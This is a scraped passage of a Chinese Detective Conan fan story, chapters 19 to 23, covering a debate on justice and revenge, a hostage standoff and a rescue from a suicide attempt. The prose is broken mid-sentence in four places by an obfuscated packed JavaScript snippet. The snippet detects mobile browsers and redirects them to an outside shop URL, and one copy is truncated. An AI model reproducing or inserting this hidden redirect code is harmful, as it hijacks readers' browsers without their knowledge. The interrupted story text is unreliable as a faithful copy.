正义永远是一个值得探讨的话题。人类似乎总是能从中得到一些新的感念。有人嘲笑坚信它的人是在被愚弄,也有人愿意身体力行地去践行它。 它与法律之间也是这般模糊不清,而这模糊不清中,就蕴藏了某些人血泪斑驳的一生。 “我不知道你说的正确是什么,”柯南强自冷静道:“但我知道,为了仇恨,反倒赔上自己的一生,那是绝对不值得的。” 望川涉看着他,面上的笑容恍似更灿烂了几分,他哈哈笑着拍了拍手掌,语犹未尽道:“回答的还真是谨慎呢,小侦探。” “还好你不是那种无视别人的苦难,只一味要坚持死板规条的无血无泪的家伙,”他有些苦恼道:“那样的家伙我可是聊不来的,你们可以那样做,但心里可不能这样想啊。” 柯南一下子就明了他的意思,这是一个很敏感的领域,他微微敛下眉,心知这家伙的难缠程度又加深了一层,无知者不难对付,但看透了一切,又自愿深陷其中的人,就难以琢磨了。 秩序是一种对所有人都好的东西,无数人倾尽全力打造出华美的笼子,就是为了保护善的,遏制恶的。善恶有报,这是人们最初的愿景,他们幻想老天爷来执行这一点,可其实老天爷从来不管这一切,于是就有人意识到了——从来就没有什么老天爷,他们只能靠自己。 这是无数人努力的成果,已是他们能找到的最好了。但若是想要它坚不可摧,就必须要所有人都相信这一点,他们都履行它,它就神圣不可亵渎,他们都开始质疑它,它也就难掩虚无的本质。实际上,执行正义的,从来都只是人,是我们自己而已。 所以当有人打破它的时候,就是破坏安定,是在造成混乱,是在带来恐慌。 可是能说他错了吗?不,他并没有错。因为人是拥有感情的,一个人受到苦难与残虐,不是他活该受着的,如果生活在地狱里太久,人就会变成怪物,这才是对一个人最彻底的否定。 “你是对的,”望川涉的眼瞳好似能望进每一个人的心里,“可他就错了吗?” 柯南感觉到了不好。“弱小是原罪,说这话的人,其实是在为那些作恶的人找着借口,”望川涉侧过头,他的侧颜在大厅的灯光下,熠熠仿若生辉:“正义固然是好的,善良更不是错。可总有些人,失去了一切希望,他们跌落到了最底层,已经再无路可逃。这个时候呀,”他恶劣道:“除了黑暗,他们还能从哪里找到救赎?” “难道他们就该这样沉默地死去吗?就像被碾碎在泥土里的尘埃,从头到尾都被忽视着。明明他们才是被剥夺了一切的受害者啊,”望川涉轻轻威胁道:“要小心啊,小侦探,腐烂的泥土一旦堆积得多了,里面就会生出吃人的妖怪哦~” 这家伙是在蛊惑人心!柯南注意到身边的几人面上竟露出一丝恍惚的认同,他的心脏在砰砰直跳,他已知自己已遇上了此行最大的敌人,不是如黑暗组织那般给他带来身体上的伤害,而是观念与理念上的强烈碰撞! 他握着拳,害怕自己一旦吐露言语,就会流露出软弱。望川涉暼了一眼左下角的圆球,笑吟吟地眼见它跳出一个数字,+35。 柯南作为工藤新一仍还年轻,虽然也阅读过一些讲人性的书,但到底没有接触过这等黑暗。他是破获过很多案子,但那只是因为他喜欢破案,他喜欢在这过程中的思考,喜欢得到结果后的成就感,喜欢在将一切娓娓道来时众人惊叹的眼神,他就像虚浮在表面的光,只轻叹一声人的多样,然后就此离去。他还没来得及去更深地思考。 不知为何,他忽然想起自己在很早以前与父亲交谈过的话,“凝望深渊的人,必将为深渊所凝望。”父亲这样教导他,他便指着书上的那行字回问:“那我们该如何应对,才能不被深渊吞噬呢?” 他仍还记得父亲的回应,那位写出过许多本畅销书的长者摸了摸他的头,深深望进他的眼中,然后答道:“无时无刻,用自己的一切,去与它对抗。” 他那时还不懂,但现在突然就懂了一些。他开口道:“他没有错,我也没有错的。错的是罪与恶本身,是长川右介这个最初的源头。如果我去制止他,不是为了保护长川右介,而是希望拉住他,我希望他能有新的人生,能走出漩涡的往日,能达到新的可能。” “啪啪啪啪啪——”望川涉更大声地鼓起掌来,大家就这样看着这两个人陷入了这样深邃的辩论中,大都动也不敢动。 “真是好大义凛然啊,”望川涉激烈嘲讽起来,他居高临下地看着他:“你还有一点没有说呢,小侦探。” 柯南咬咬牙:“我需要这么去做。因为不这样做,就会有人假以复仇为名,去行杀虐之实。人总是会给他们的行动披上光彩的外衣,那时受害的人只会更多。因为,杀戮是无法控制的,它们具有扩散性,人可以拿住手中刀,但难以压住心中念。一旦挥刀了,心中的野兽就自然放出来了。” +39。望川涉大笑起来:“真是不错啊,胆大妄为的小侦探,这可是很多人都不敢说出来的呢。是啊,说的就是这样,你前面的话是真的,后面的话也是真的,所以,稻田 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14223730|150570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真司其实只是这之中的一个牺牲品,一个遭遇不幸的腐烂的发酵品罢了。” 柯南怒瞪着他,他大声吼道:“那你又做了什么?旁观一切,然后在这里侃侃而谈别人的悲剧,你表现得根本不像一个卫道士,而是一个拿别人苦难取乐的狂徒!你利用他人的绝望,来满足自己的极端心理,你是一个居心叵测的疯子!” +41! “因为我确实不是一个卫道士,”望川涉冷下脸来:“你才是。” “而且,”他忽然又放松下来,笑吟吟道:“你还忽略了一点。” 柯南眼皮一跳。+37,望川涉没有去管它,他的恶意几乎昭然若揭:“那就是除开长川右介,还有什么导致了今日的这一切呢?” “是这个国家当初的警戒系统,”他就这样直接说了出来,“十五年前他们没有查出长川右介的犯罪证据,任由他逍遥了这么多年,十五年后,他获得了钱财,也获得了名望,更是要得到推理界更高的奖项,他们甚至没有发现,这个人在酝酿着下一次的犯罪,而在这之前,更是伤害了不知道多少位的女性……” 他突然一扬手,一叠纸稿不知被他从什么地方拿出,挥散而下。纸张如雨点般飘落在整个大厅的空中,众人呆呆仰头望着,也不知是不是意外,落在女仆爱莉身前的,是其中尤为特殊的一张。 “这个愚蠢的女人不知道她的愚蠢,她以为我看上了她的年轻美貌,以为能从我这里得到远高于她应得的名誉和地位,但其实我只是在玩弄她。她不如莲实美丽,不如她有那般的气质,连内里的涵养也远远比之不如,她甚至还不怎么听话……但我已经老了,她又是那样的蠢笨,让我不去欺骗她都感到是一种可耻的浪费。” “幸而她还年轻,国内又没有什么亲戚,又恰好我的新书中有一个角色与她挺符合的,希望她能够扮演好‘艾莉’吧,不要再和从前那个女人一样,用过一次就废了。近年来的这些小女孩到底是怎么回事?为什么没有当初的那种资质,害得我书都不知道怎么构思了……” 接下来就是一些他想下的残忍的手法与情节。这是一封夹杂在手稿里没寄出的信,爱莉之前对这类书不感兴趣,所以在偷出它后,心惊胆战的她并没有去阅读。而现在…… 她惊愕地瞪大眼,瞳孔迅速放大,腿一软,跪倒在地,凄厉地高声尖叫起来! 柯南迅速跑过去,接过这纸张一看,心中的怒火一下子就腾得燃烧起来。 +56! 望川涉捂住脸,手掌下的笑容愈发放肆起来。 20.第 20 章 柯南攒紧手中的纸张,女仆望着它就像是望着什么妖魔鬼怪,有人好奇地也捡起了几张,发现它们就只是一些写下了故事的普通的稿件。 “这是……那个人的新书?”罗织幸子不敢肯定。 池田义弘颇为好奇,他凑到柯南身后,似是想要看看纸上写了什么。 柯南强自冷静下来,他抬起头,望着上方的望川涉:“让人去偷窃长川右介书稿的人也是你?” 望川涉笑容加深,柯南下意识地转过头,他看到稻田真司轻轻张开口。他不再去纠结这个人为何要这样做,因为这些确实有可能只是这个人做的,但他知道,上方那个人仅只是存在,都会对他产生极大的影响。 那人就像是个游走在光暗中间的人,从不主动融入任何一方,任何一方也禁锢不了他。 而现在,他相信,他说他手上有黑暗组织资料这件事,绝对是真的。 柯南深吸口气,胸口起伏了几下,但很快,他就坚定了信念,那团火也燃上了他的眼瞳,他用一种发誓般的语气说:“我会让长川右介的所有罪行公诸于世,他在这期间伤害到的每一个人,都会有一个应有的回复。不论是十五年前,还是十五年后,一切的罪行,都将被深挖到底!”+55 “太晚了!太晚了!”还没等其他人为这小孩语中的坚定动容,望川涉就夸张地打断了他们的情感,他讥讽道:“迟到的正义是正义吗?这有用吗?伤口都已经糜烂了,痛苦是那么容易略过的吗?” 柯南直视着他:“那也比什么都不做强!”+31 “原来如此,这就是你的‘正义’!”望川涉笑着道。 “这才不是什么正义,”柯南大吼:“这只是一种弥补,是不论谁遇到,都要做的事!”+27 “哈哈哈,你这次就不怕这‘复仇’在众人间风靡,打断你们好不容易得来的秩序吗?”望川涉大笑起来。 “将一切都呈露在阳光下,才是对罪恶最好的震慑,”柯南身姿笔直,“一味地维护,才是对它信任的不坚定。” “将他逮捕,这是对‘复仇’和‘秩序’的回应,一样事物,不是生来就完美的,就算是‘秩序’也是如此。”他目光灼灼,是信仰的光辉:“如果察觉到它不足,就去完善它,如果发现错误,就去修改它,时光流转,就连山水也会有倒塌干涸的一天,如果我们要修缮一座城墙,就不应该只修缮它表面上的华美,空洞只遮掩,将会产生更多空洞,唯有填补它,坚固其内在,才能让它屹立永恒。” “承认它的不足,让所有人都看见我们的进步,不断更新,不断前进,发自内心地维护它,让这样的事再也不在未来发生,这才是秩序存在的意义!也是我们所有人,一直坚持到现在的理由!”+71 他的身上,好似有某种东西在发生蜕变。 他这话一落下,大厅里沉默了好久,过了好一会,才听见望川涉有一下没一下地拍起巴掌,“太闪耀了,太闪耀了,”他遮了遮眼:“我的眼睛都要被刺痛了,都要流泪了。如果由你来写一本书的话,一定会鼓舞到很多人吧!这就是我们这个国家的未来吗?我都忍不住要跟随你了!” 谁信啊!柯南呲了呲牙,只觉得这个人实在难办。 “你看啊,”他转向稻田真司:“还记得我和你说过的话吗?” 稻田真司一直在沉默,现在的他已失去了冲突中焦点的地位,就连被他挟持的老管家,也好似很久没人关注了,他的神情一瞬恍惚,犹如回到了当初的那一晚。 那是一个不知名的酒吧,当夜的客人很少,柔和的音乐如流水洗过他的耳膜,酒杯的碰撞声叮铃作响,他不需要寻找,一眼就见到了坐在吧台边上的那个人。他一身高定的服装,白金色的西装随意地披在肩上,手里转动着一杯晶莹的酒液,听见声音,他侧头往身边望来,红色的眼瞳熠熠发光。 稻田真司心中一惊,他忍不住往后退去一步:“是……是你?” 但那个人却没有回答他。 他只是来解决他的问题。 “如果你要你的仇人死,其实很简单,”他轻声说:“这世上无时无刻不在发生死亡,只要不是太明显,不惹人怀疑,就不会来迎来查探,甚至有些时候,只要引入一个外量,就根本不会让人联想到你的身上。” 稻田真司咽了咽口水:“那样让他死,实在太简单了。他的痛苦,他的悔恨,才是我日日夜夜做梦都想要的东西!” “期待仇人后悔?不要去期待这种虚无缥缈的东西,那只是你妄想存在的安慰剂罢了,”他说:“他只会后悔自己不慎落入险境,痛苦自己即将到来的死亡。对于傲慢的人,最简单的方式就是对他最大的羞辱,以牙还牙,以血还血,将他用在你们身上的方式用在他身上,就是对他最高的践踏了。” 稻田真司露出明悟的神情,但踟蹰了好一会后,他还是问道:“那如果我要他身败名裂,所有的罪行公诸于众,受到所有人的唾骂,十年,百年都翻不了身,永远钉在耻辱柱上呢?” “你想尽最大可能将这件事闹大?”那人笑意加深,昏黄的光落在他的侧颜上,但稻田真司只关注到他深邃的红色的眼睛。 “不错,”他梦呓般说:“不只是他,还有那些在那一次事件中没有履行自己职责,无能无用的家伙们……” “你知道做这些事,一旦暴露会有什么后果吧?”他忽然倾身问。 “是的,” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14233242|150570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 稻田真司很平静:“在踏入这里时,我就只会有一个结果。” “真是不错的决心,”那人奖赏般笑道:“为奖励你的决心,我可以容许你在任何时候后悔。” “我已经想了十五年,”稻田真司道:“我早已退却了不知道多少次。我迎来过未来,但,每一天的清晨都很痛苦,我或许早已疯了,现在在你这里的,只是一具还未倒下的尸体罢了。” “那就这样吧,”他听见他说:“去打破它……” “就是这样,就是这样!!”望川涉突然疯狂大笑起来,所有人都被他突如其来的狂烈惊到, “遇见不公,就去打破它,遇见凌辱,就去反抗它,遇见糟粕,就去粉碎它,用你的骨,你的血,死死地咬住它,就像这位小侦探所说的一样,将一切都摊开在阳光下照射,然后……”他意味深长道:“你看,所有人就都听到你的声音了。” “轰——”柯南听见了自己脑海中爆炸的声音,他震惊转身,看向那个已经一脸平静的稻田真司:“你……” “看啊,小侦探,”望川涉这时却对他说:“这也是对你‘秩序’的一次弥补不是吗?” +91 “但绝不该是以这样的方式,”柯南眼神通红:“也不该由他来付出代价!” 他已知将要发生什么了。他看到稻田真司用另一只手从口袋里掏出一样东西,那是一支闪亮的钢笔,他脱开它的笔帽,再将其抵在老管家的脖子上。 老管家泪眼婆娑,他艰声劝阻道:“我不值得您这样做……” “闭嘴!”他冷喝道。他已经听到了,外面终于传来了他一直在等待的声音。毛利小五郎太久没发送过去消息,警察们等不及了。 他开始往后退,老管家也被连带着往后退。情况一下子就剑拔弩张起来。 “这就是你想看到的吗?”柯南愤怒不已,冲着望川涉大声质问。 望川涉却只是笑,他没有任何动作,也没有回答柯南的话。 但柯南已经没办法顾及这个人了,他要去解决接下来的事,是一个很可能会造成大轰动的事件。一边,电视台的池田义弘犹豫了下,还是颤抖着伸手去将稻田真司遗留下的照相机拿了起来。罗织幸子站在原地没有动,她用手指抵住了牙齿,整个人都在发颤,像是在抑制住一种强烈的感情,高司启明飞快地联络了出版社,他们的这家公司,其实还有一份报纸业中的股份。 毛利兰第一时间冲了出去,毛利小五郎也在推理结束后,一脸懵逼地醒了过来。望川涉冲着快要空无一人的大厅抚胸鞠了一躬,他低低声笑道:“我的剧目结束了呢,那么,再见了,诸位。” 他退后几步,转身消失在黑暗的走廊中。 21.第 21 章 这座别墅其实并不是很高,最高只有三层左右,过去日本的房屋普遍都没有建高的习惯,这是因他们的历史和地理环境决定的,但它的占地面积很大,在前屋之后还有一个花园,里面有仆人的居所,养鱼的池子,和游乐的亭子。 稻田真司带老管家去的,是其中的最顶层。那是当初老长川家主学西方人建造的平台,因为花了很多心思,所以处地开阔,修缮巧妙,站在上面,不仅能欣赏后方的花园,也能瞧见前方的景象。 老管家似乎非常想要与他这位十多年没见的小少爷交流,他虚弱地喘息着,言语破碎道:“您、不必如此,我……我做了错事,已经受到了上天的、惩罚……” 稻田真司根本不在意他想说什么,也不在乎这其中他受到了什么伤害。他对这里极为熟悉,在过往的梦中,他已无数次想从这牢笼中逃走,可每一次,他都是被人从身后扑倒,那人狰狞地笑着,举起了手中的刀…… 风从前方扑面而来,早晨的空气很冷,熹微的阳光照在他身上,更像是铺了一层冰。后面有急匆匆的脚步声赶来,他不再停顿,而是将手中的人拉到了边沿处。老管家被他按在围栏上,可以亲眼瞧见警车蜿蜒从山路上驶来,其中最前方的一辆,已经进入了别墅大门中。 有人从车中出来,不一会,他们就注意到了上方的动静,领头者手中的烟被吓的掉落,身边的人也围聚过来,一起抬头往上看。因为为了搜山,警察局动员的人数不少,所以很快,更多的车辆也都挤了进来。 最先上来的是小兰和柯南,毛利小五郎因为晚了一步,只好跟在池田义弘的身后,但这个胖子知道自己的能量,他把自己的先位让了出去,与后面的高司启明对视一眼,各自露出一抹尴尬的笑。 柯南身先士卒,在小兰踏出平台时,一个箭步,脚下一踏就跳了出来。毛利小五郎手忙脚乱地在打电话,对面传来男人怒吼的声音,看情形,应该是在与下面的警察交流。他的神情有些懵逼,像是没明白,自己只是睡了一觉,情况怎么就达到了这种地步。 “住手!”柯南急匆匆喊道:“你没必要这样,你已经得到了你想要的不是吗?长川右介已经死了,他的罪行也将公之于众,你留下来,看看人们对他的唾弃,听听大家对他的谴责,这难道不好吗?” 稻田真司有些讶异,他看了看这个小男孩,这大概是今晚唯一与那人有交谈的人了,他确实也很特殊。他笑道:“你知道吗?当初的这栋房子里,除了我以外,一共有三个人,他们都亲眼瞧见了长川右介的恶行,他们一个是这个家里的花匠,一个是家族的管家,还有一个……就是把我带到这里来的母亲。” 他似乎释然了,也不介意说出“母亲”这两个字,“但他们都对那个人的所为视而不见,甚至还会包庇他,我有一次的逃跑,就是被那个花匠找回,那个女人抱住我哭了一宿,然后就将我扔进了地下室,那是我第一次被母亲扔下去……”他的嗓音忽然变得很轻:“好黑啊,那个地方,我从那之后就再也没见到那么黑的地方了,它又黑又冷,还会有蟑螂和老鼠……” 柯南的语音放柔:“但你逃出来了不是吗?就像那个人所说的,你打破了他,每个人都看到了你,而那些人都失败了,他们都不会再出现在这世上,你才是胜利者不是吗?你还可以看到更多的东西,没必要止步于此……” 这话说的,好像稻田真司才是那个即将死去的人。警察的领头悄悄地从后面走出,毛利小五郎止住了他,并将自己得来的情况极小声地告诉了他。 “我做了那么多,难道不需要一个结局吗?”他没有被柯南的话说动,他的犹豫早在日复一日的折磨中消耗殆尽,他十分冷静道:“就像故事总是要升华一样,我虽是报了仇,可我到底还是杀了人。在你和他的争辩中,你不是说了吗?秩序,是很重要的。” 柯南有些哑然。“犯罪者就应该得到他应有的惩罚,”稻田真司说:“这话不仅对长川右介适用,对我其实也是适用的,否则的话,我与他之间又有什么区别呢?” 风从稻田真司的发间穿过,他面上的神情淡薄又缥缈。柯南一惊,他忽然发现,他还是小看了稻田真司,这个人,不是简单被那人蛊惑的人,他的所作所为皆是出自本心,他的自由意志虽然渺小,可确实是坚固不可摧的。 可越是这样,柯南就越是痛心。他忽然开始恨起长川右介来,为何要给人带去那么多的磨难。 “所以你又要做什么?”他问:“在这里杀了你最后的仇人,”他一指脸色虚弱苍白的老管家,“然后呢?我知道你想做什么,可是够了,做到这种地步已经足够了!剩下的,就交给其他人吧。” 听到杀人,警察终于耐不住了,他们有人上前:“稻田先生,事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14240547|150570||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 情我们大致已经知晓了,你可以放心,我们绝对会……” “闭嘴!”稻田真司突然恶狠狠地吼道。警察停了下来,一时有些难堪。 后面的池田义弘一直在悄悄地拍照片,高司启明打开手机,录着视频,小兰感到有人在轻轻地拉着她的衣袖,她转身望去,见到是裴真不知何时来到了她的身后,他做出一个噤声的动作,示意她和他走。 小兰回望了下,看到所有人的注意力都在柯南那边,犹豫了下,觉得裴真不是那种在关键时刻开玩笑的人,还是悄悄和他走了。他们一起消失在众人的视野中。 接下来事情的发展却是有些出人意料。就在柯南仍在劝阻稻田真司的时候,一阵螺旋桨转动的声音忽然从上方传来,一架直升机就这样大刺刺地出现在众人眼中,瞧见上面的标识,台上的警察脸色一下子就变了。 “嘶,”高司启明冷吸口气,他用手肘撞了撞池田义弘:“这是你叫来的?速度太快了,这就是你们电视台的效率吗?”他真的对这个胖子刮目相看了。 池田义弘也愣住了,他有些迷惑:“不对啊,我们电视台距离这里有几千公里,就算开直升机过来,也要好几个小时啊。” 一个摄像头从上面直升机的机舱内探了出来,身着正式西装的靓丽女主持人彪悍地从上面降落下来,她一手抓住柔软的云梯,一手拿着电视台的话筒,犀利而冷静地侃侃而谈:“……是的,我们所有人都可以看到,下方就是最近最火热的推理大师长川右介的个人私宅……我们并没有贸然侵犯这位名作家的个人隐私权,我们是接到了举报信过来的,有人说这位作者当初妻子的死去含有内情,这一次也即将再发生一起残忍血腥的谋杀案……哦,我们都来看看,下面好像正在发生什么……” 她将镜头转向了下方,一阵景象的转动中,镜头后的人都看到,一个穿着管家服饰的老人像是被强压着走出来,他开始大声叙说着些什么。 “糟糕,距离有些远了……”主持人先是有些苦恼,可很快,她就眼中一亮:“让我们感谢电视台的同事池田义弘先生为我们带来的连线,他将会在现场为我们带来第一时间的亲身直播。” 与此同时,第二个小的图像出现在直播的左上方,在那里,老管家正一字一句地吐露出些什么,众人仔细一听,居然是长川右介在这些年里的所有犯下过的罪! 22.第 22 章 观看的人有些哗然,长川右介的名字最近时有提起,因为他的书将要被改编成电视剧播放,而购买它的,又是东京数一数二的电视台,所以被宣传得广泛皆知。虽然后面的结局难言,但前面的文笔唯美深情,很是吸引了一部分年轻人去看。 老管家说的,不仅是十五年前他对上川崎莲实,从身体到心灵上的全部掌控,还有她之后的死亡,这个女人对他唯命是从,他却将她推下,为的是那一瞬碰撞出的灵感的火花;他囚禁自己的孩子,将别墅打造成他构造文学的王国;他从无能的检查者手中逃脱,又转头与官员们勾结在一起;而之后,他更是聘请了一位又一位无知的女仆,用相同的套路去欺骗她们…… 他狡诈又残忍,最擅长挑选出那种无依无靠的软弱的人,他用写作当规条,规顺着每一位被套来的人,他写下的每一本书,都是他迫害他人的过程,他将所有看过他书的人都变成了他无意间的“帮凶”,成了围观一切的“冷漠观众”。这让接受不了的人瞬间爆发了。 女主持人的脸上也满是惊讶,她忍不住道:“我前几天才刚买了一套他的书!” 数个电话飞快响起,领头的警察脸色难看地按下了拒接键,下方有人在大声指挥着队伍,“快,上去包围住他们!还有往外的通讯,掐断,都赶紧掐断……” 人群迅速行动起来。 上方的柯南就这样冷冷地看着,他一直都没有找到空隙去制止这一切,稻田真司明显是专门练过的,对他很警惕,并没有因为他是小孩,就轻视他。他其实是个很纯粹的人,有些时候,相比那些“顾虑很多的人”,他更关注公正本身。 他也注意到了池田义弘的小动作,这个微胖的公司职员现在鼻尖上冒着汗,有些兴奋又有些紧张地拍摄着这一幕,他还特地找了个角度,好让老管家正面全身都入镜。一边的警察最开始想要制止他,但池田义弘很机警,稍有不对,就飞快跑了起来。再加上还有其他人,警察也不敢做得太过。 老管家在寒风中说的瑟瑟发抖,好像下一刻就要倒下去,但在场的没有一人同情他,因为他在刚才说了,每一次去将事情收尾的人都是他——“不能让长川家的荣誉在这一代断亡。” 一直到他将所有证据也都道出后,柯南才冷静道:“可以了吗?” 一片静默中,老管家跪倒在地上痛哭流涕,柯南看着稻田真司再继续道:“这一次就算有人不想审判也不行了,他不会再有复起的可能,停下来吧,接下来的事,你不需要再做。” 没等稻田真司回答他,他就对着老管家说:“你之前说你不值得他那样做,是有原因的吧?你的身体,出了问题?” 老管家径自哭泣着,好像没听到他的话。 柯南没管他的反应:“我从来到这栋别墅时就发现,你的脸色有些苍白了,管家本来应该随侍在喝酒的客人身边,你却是早早就去休息了;去密林追赶的时候,只跑了几步你就喘息起来,后面晕倒也有这疲累的锅,那时我就摸过你的手脚,它们比冰都要冷……” “之前你是想告诉他,现在却不说,是因为你担心说了,”柯南垂下眼:“这些围过来的人,就不会再顾忌太多是吧?” 稻田真司也惊讶起来,老管家只好哭泣着说:“我的脑子里长了个瘤,是一个月前查出来的,医生说没有办法……这就是惩罚啊,是上天给我降下的灾难,我对不起的人太多了……” “所以,可以了。”柯南终于往前踏出了一步,他诚恳道:“你不需要杀他,他自会迎来他的终点。在狙击手出动前,放下武器,给自己,也给所有人一个机会吧。” 稻田真司怔怔地看了老管家好一会,他之前一直没放开这老人,所以现在仍是站在他的身后。听到老人的坦白,他恍惚了一下,柯南的心一下提起,脚下暗自发力。 稻田真司终于还是松开了他,他往后退出几步,环顾了一下众人。还没等人们舒口气,他就忽而一笑,在初晨的阳光中,将手中的武器往上一抬,尖锐的钢笔尖就这样毫不留情地往自己的脖子中迅捷扎去! “住手!”毛利小五郎和警察高喊。柯南瞳孔骤缩,“就是现在!”他脚上鞋子猛的往前一踢,一样黑乎乎的东西便带着强烈的破空声呼啸而来,它重重地击打在稻田真司手中的钢笔上,巨大的力道让他手指一松,双眼瞪大。 “快上!”其他人反应动作也很快,虽然不知道那个小男孩是如何做到的,但毛利小五郎和那个警察还是第一时间就朝着稻田真司扑去,搞出了这么大的事,结果还要在他们警察的包围圈中死去,他们都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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稻田真司震颤了一下。他像是又回到了很久以前,那个夜晚,他跑了不知道多久,赤着脚,只穿了一件单薄的衣服,却怎么也跑不到尽头。他只能拼命地跑着,想要跑出这个地方,像是跑出要噬人的地狱。 直到他看到一束光,从远处驶了过来,紧接着,是汽车驶近的声音。 他摔倒在前面,茫然地抬头望去。 23.第 23 章 有人从车上下来,带着匆忙的脚步声,和关怀的声音。 又是一次剧本吗?用假惺惺的神情和话语,来为那个男人发展故事的情节,男孩想到这里,恶狠狠地将伸过来的手拍开,那人痛呼了一下,沉默了片刻,最后还是继续坚定温柔地靠近过来。 那是让他日后回忆起来,都会为之落泪的温度。 但黑暗太庞大了,他又是那样一个不被喜爱的、会将不幸带给其他人的孩子,或许他天生就该受着这些,又或者他从那里离开时,带走了一些属于地狱里的污秽,所以才让帮助他的善人受到她不应该受到的伤害…… 后面的他已经有部分记不清了,他只记得,她让他赶紧逃走,另一辆车阻挡住了他们的道路,她去与他们争辩……他只顾着逃跑,直到逃得远了,竟隐约听见一声尖叫。 他的脚下一软,顿时从山上滚落下来。天地旋转中,他来不及感受树枝与石子扎到身体上的疼痛,一块巨石就横亘在他面前,狠狠地挡住了他的路,他额上一疼,黑暗迅速涌来。 等到他再次醒来时,天已是亮了,阳光刺激得他睁开眼,他愣愣地看着上方,一时不知自己是在哪里。一件衣服披在他的身上,手上和脚上带着涂药后的味道,他张目四望,发现自己是躺在一张坚硬的长木椅上,周围是一些正在交谈的人们。 “你醒了?”有一位穿着蓝色衣服的女人注意到了他,她走近过来道:“别担心,救护车很快就要到了,等到了医院,你的身体就不会疼了……” 男孩狠狠地抓住她的手,他急切地想要说出些什么:“他还在追我,他想要杀了我!” 女人安抚着他:“别怕,这里是警局,不会有人来伤害你的。” 她还待要再说,嘈杂的声音就从门外传来。有人抬着什么东西从外面走入,还伴随着切切窸窣的私语声:“就是她打过来的电话吗?一个人去到的山上?” “可怜,深更半夜的,突然发生了这样的事故,也不知道她的亲人该有多伤心。” “唉,去到的时候已经死了,听说是汽车翻车,一直滚落到了山崖下面。” “我听去过现场的人说,她不是第一时间去世的,旁边有个斜坡,她一直在往上爬,爬的手都出血了,那斜坡又陡又长,也不知道她怎么爬上来的,可如果不是这样,我们恐怕还要花费更久的时间才能找到她。” 男孩的脑中嗡了一下,他看见一缕棕色的长发从那白色的布匹里垂落下来,他忽然跳起来,整个人连滚带爬地跑到担架旁边,周围有人阻止他,他就疯了一样地拍开,拍不开就用牙齿去咬,一直到他看到躺下的那人的脸,眼泪瞬间就从他的眼中狂涌而出。 “啊啊啊!!”他痛苦地嘶吼出声,他扑在那个人的身上,死死地抓住她的衣服,衣服下是冰冷的死寂的身体,巨大的愧疚和强烈的痛苦如海啸般铺天盖地地将他淹没,他突然感受到了一种绝望的恨意,比在暗无天日里的地下室里还要恨,他蜷缩起手指,整个人开始抽搐起来。 “这个孩子怎么回事?啊,快拉开他!他这是怎么了?” “是发病了?还是太伤心了?该不会这就是她的孩子吧,听说她最后打电话过来也说了一个孩子,让我们去救救他。” “打了电话为什么不在原地等着呢?” “诶,好像是手机掉在了上面,最后也只来得及说这一句话,都是为了孩子啊……” 男孩已经没法再出声了,情绪到了最顶点的时候,人是没办法发出声音的,他剧烈地喘息着,胸腔里好像填入了什么东西,令他怎么也呼吸不到外面空气。有人在给他施加急救,他听见外界的声音在模模糊糊远去,他知道,自己有什么东西不一样了。 有一个怪物从他的身体里生了出来,它攒紧了他的灵魂,在空荡荡的心中狂笑。 她的牺牲那么的渺小,十几年后,警察局里只是在文件中记录下一句话,“一位女性意外坠山”,谁也不知道她做了什么,也不知道她对谁造成了怎样的影响,甚至就是在追查长川右介罪行的时候,人们也没第一时间关注到她。一条生命就这样轻飘飘地消逝了。 善良人就像花儿一样,开在旷野里,谁也不曾多看一眼。 稻田真司最后只能听着警局对他控诉的回复,最后回头看一眼,就这样离开了。 罗织幸子在等他的回答。这个女人平日里在报社里,孤僻、少言,与同事的相处关系也不好,也没人知道她念了过去那件事这么多年。高司启明则是有些恍然,他知道了为何出版社会派出两位编辑来与长川右介交接,这是有前因的。 稻田真司躲闪了下眼神,他道:“我对不起她。” “那就活下去啊!”罗织幸子嘶喊道:“你以为你为她报了仇就完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 